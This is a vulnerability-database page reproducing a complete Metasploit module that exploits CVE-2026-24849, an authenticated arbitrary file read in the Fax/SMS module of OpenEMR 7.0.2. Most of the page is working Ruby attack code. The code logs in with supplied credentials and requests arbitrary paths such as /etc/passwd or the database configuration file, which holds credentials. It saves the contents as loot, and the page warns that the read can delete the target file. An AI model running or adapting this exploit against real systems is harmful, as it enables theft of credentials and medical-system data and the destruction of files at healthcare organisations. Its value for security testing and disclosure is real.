Lucene search
K

📄 OpenEMR 7.0.2 Authenticated Arbitrary File Read

🗓️ 08 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

OpenEMR 7.0.2 allows authenticated file read via Fax/SMS module due to unvalidated file_path.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-24849
25 Feb 202601:44
attackerkb
GithubExploit
Exploit for Path Traversal in Open-Emr Openemr
6 Jun 202605:48
githubexploit
Circl
CVE-2026-24849
25 Feb 202602:18
circl
CNNVD
OpenEMR 路径遍历漏洞
25 Feb 202600:00
cnnvd
CVE
CVE-2026-24849
25 Feb 202601:44
cve
Cvelist
CVE-2026-24849 OpenEMR Arbitrary File Read Vulnerability
25 Feb 202601:44
cvelist
Exploit DB
OpenEMR 7.0.2 - Arbitrary File Read
8 Jun 202600:00
exploitdb
EUVD
EUVD-2026-8581
25 Feb 202601:44
euvd
NVD
CVE-2026-24849
25 Feb 202602:16
nvd
OSV
CVE-2026-24849 OpenEMR Arbitrary File Read Vulnerability
25 Feb 202601:44
osv
Rows per page
==================================================================================================================================
    | # Title     : OpenEMR 7.0.2 Authenticated Arbitrary File Read                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.open-emr.org/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit auxiliary module targets a vulnerability (CVE-2026-24849) in OpenEMR version 7.0.2 and related builds, 
                      specifically an authenticated arbitrary file read flaw in the Fax/SMS module.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'OpenEMR 7.0.2 - Authenticated Arbitrary File Read',
            'Description' => %q{
              The Fax/SMS module's EtherFaxActions::disposeDoc() method
              (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied
              `file_path` request parameter and passes it straight to readfile() with no
              path validation. The method never calls authenticate(), so the only thing
              required to reach it is a valid OpenEMR session.
    
              ANY authenticated user (receptionist, clinician, etc.) can read any file
              the web-server user can reach: sites/default/sqlconf.php (DB credentials),
              /etc/passwd, application source, and so on.
    
              WARNING: disposeDoc() calls unlink() on the target *after* reading it.
              Reading a file that the web-server user is allowed to delete WILL remove it.
              Prefer root-owned targets (e.g. /etc/passwd) whose parent directory the web
              user cannot write, so the unlink() fails and the file survives.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-24849'],
              ['URL', 'https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-24849']
            ],
            'DisclosureDate' => '2026-06-06',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS, FILE_DELETION]  # Can delete the file being read
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to OpenEMR installation', '/openemr/']),
          OptString.new('USERNAME', [true, 'OpenEMR username', 'admin']),
          OptString.new('PASSWORD', [true, 'OpenEMR password', '']),
          OptString.new('SITE', [true, 'OpenEMR site', 'default']),
          OptString.new('FILEPATH', [false, 'Absolute path of the remote file to read', '/etc/passwd']),
          OptEnum.new('ACTION', [true, 'Vulnerable action name', 'disposeDoc', ['disposeDoc', 'disposeDocument']])
        ])
        register_advanced_options([
          OptBool.new('DELETE_FILE', [false, 'Delete the file after reading (exploit behavior)', false])
        ])
      end
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'interface/login/login.php')
        })
        unless res
          return Exploit::CheckCode::Unknown('Target did not respond to check')
        end
        unless res.body.include?('OpenEMR') || res.body.include?('openemr')
          return Exploit::CheckCode::Safe('Target does not appear to be an OpenEMR instance')
        end
        cookie = authenticate
        unless cookie
          return Exploit::CheckCode::Detected('Could not authenticate, but OpenEMR detected')
        end
        test_content, status = read_file(cookie, '/etc/hostname')
        if status == 'ok' && test_content && !test_content.empty?
          return Exploit::CheckCode::Vulnerable('Successfully read /etc/hostname')
        end
        Exploit::CheckCode::Appears('OpenEMR detected but file read test failed')
      end
      def authenticate
        print_status("Authenticating to OpenEMR as '#{datastore['USERNAME']}'...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'interface/login/login.php'),
          'vars_get' => {
            'site' => datastore['SITE']
          }
        })
        unless res
          print_error('No response from target')
          return nil
        end
        csrf_token = nil
        if res.body =~ /csrf_token_form.*?value=(["'])(.*?)\1/
          csrf_token = Regexp.last_match(2)
        end
        data = {
          'new_login_session_management' => '1',
          'authProvider' => 'Default',
          'authUser' => datastore['USERNAME'],
          'clearPass' => datastore['PASSWORD'],
          'languageChoice' => '1'
        }
        data['csrf_token_form'] = csrf_token if csrf_token
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'interface/main/main_screen.php'),
          'vars_get' => {
            'auth' => 'login',
            'site' => datastore['SITE']
          },
          'data' => data,
          'keep_cookies' => true
        })
        unless res && res.code == 200
          print_error('Authentication failed')
          return nil
        end
        if res.get_cookies =~ /OpenEMR\w+sess=([^;]+)/
          print_good("Authentication successful")
          return res.get_cookies
        else
          print_error('No session cookie received')
          return nil
        end
      end
      def read_file(cookie, file_path)
        action = datastore['ACTION']
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'interface/modules/custom_modules/oe-module-faxsms/index.php'),
          'vars_get' => {
            'site' => datastore['SITE'],
            'type' => 'fax',
            '_ACTION_COMMAND' => action,
            'file_path' => file_path,
            'action' => 'download'
          },
          'cookie' => cookie
        })
        unless res
          return [nil, 'timeout']
        end
        if res.body.include?('login_screen.php?error=1')
          return [nil, 'session']
        end
        if res.body.include?('Problem with download')
          return [nil, 'missing']
        end
        if res.body && !res.body.empty?
          return [res.body, 'ok']
        end
        [nil, 'missing']
      end
      def run
        print_status("OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)")
        print_warning("WARNING: disposeDoc() calls unlink() on the target AFTER reading it!")
        print_warning("The file will be DELETED if the web server user has write permissions to its parent directory.")
        print_warning("Use root-owned files (e.g., /etc/passwd) or set DELETE_FILE=false advanced option.\n")
        cookie = authenticate
        unless cookie
          print_error('Authentication failed. Check credentials and site.')
          return
        end
        file_path = datastore['FILEPATH']
        unless file_path
          print_error('No FILEPATH specified')
          return
        end
        print_status("Reading file: #{file_path}")
        content, status = read_file(cookie, file_path)
        case status
        when 'ok'
          print_good("Successfully read #{content.length} bytes from #{file_path}")
          report_vuln(
            host: rhost,
            port: rport,
            name: name,
            refs: references
          )
          loot_file = store_loot(
            'openemr.file_read',
            'text/plain',
            rhost,
            content,
            "openemr_#{File.basename(file_path)}",
            "File read from OpenEMR: #{file_path}"
          )
          print_good("File saved to: #{loot_file}")
          print_line("\n" + "=" * 50)
          print_line("File content (#{file_path}):")
          print_line("=" * 50)
          print_line(content[0..2000]) # First 2000 chars
          if content.length > 2000
            print_line("[...] (#{content.length - 2000} more bytes)")
          end
          print_line("=" * 50 + "\n")
    
        when 'session'
          print_error('Session rejected (auth/ACL problem). Login may have expired.')
        when 'missing'
          print_error("File '#{file_path}' not found/readable, or Fax/SMS module is not enabled.")
        else
          print_error('Connection timeout or error')
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.16.5 - 9.9
EPSS0.02164
SSVC
14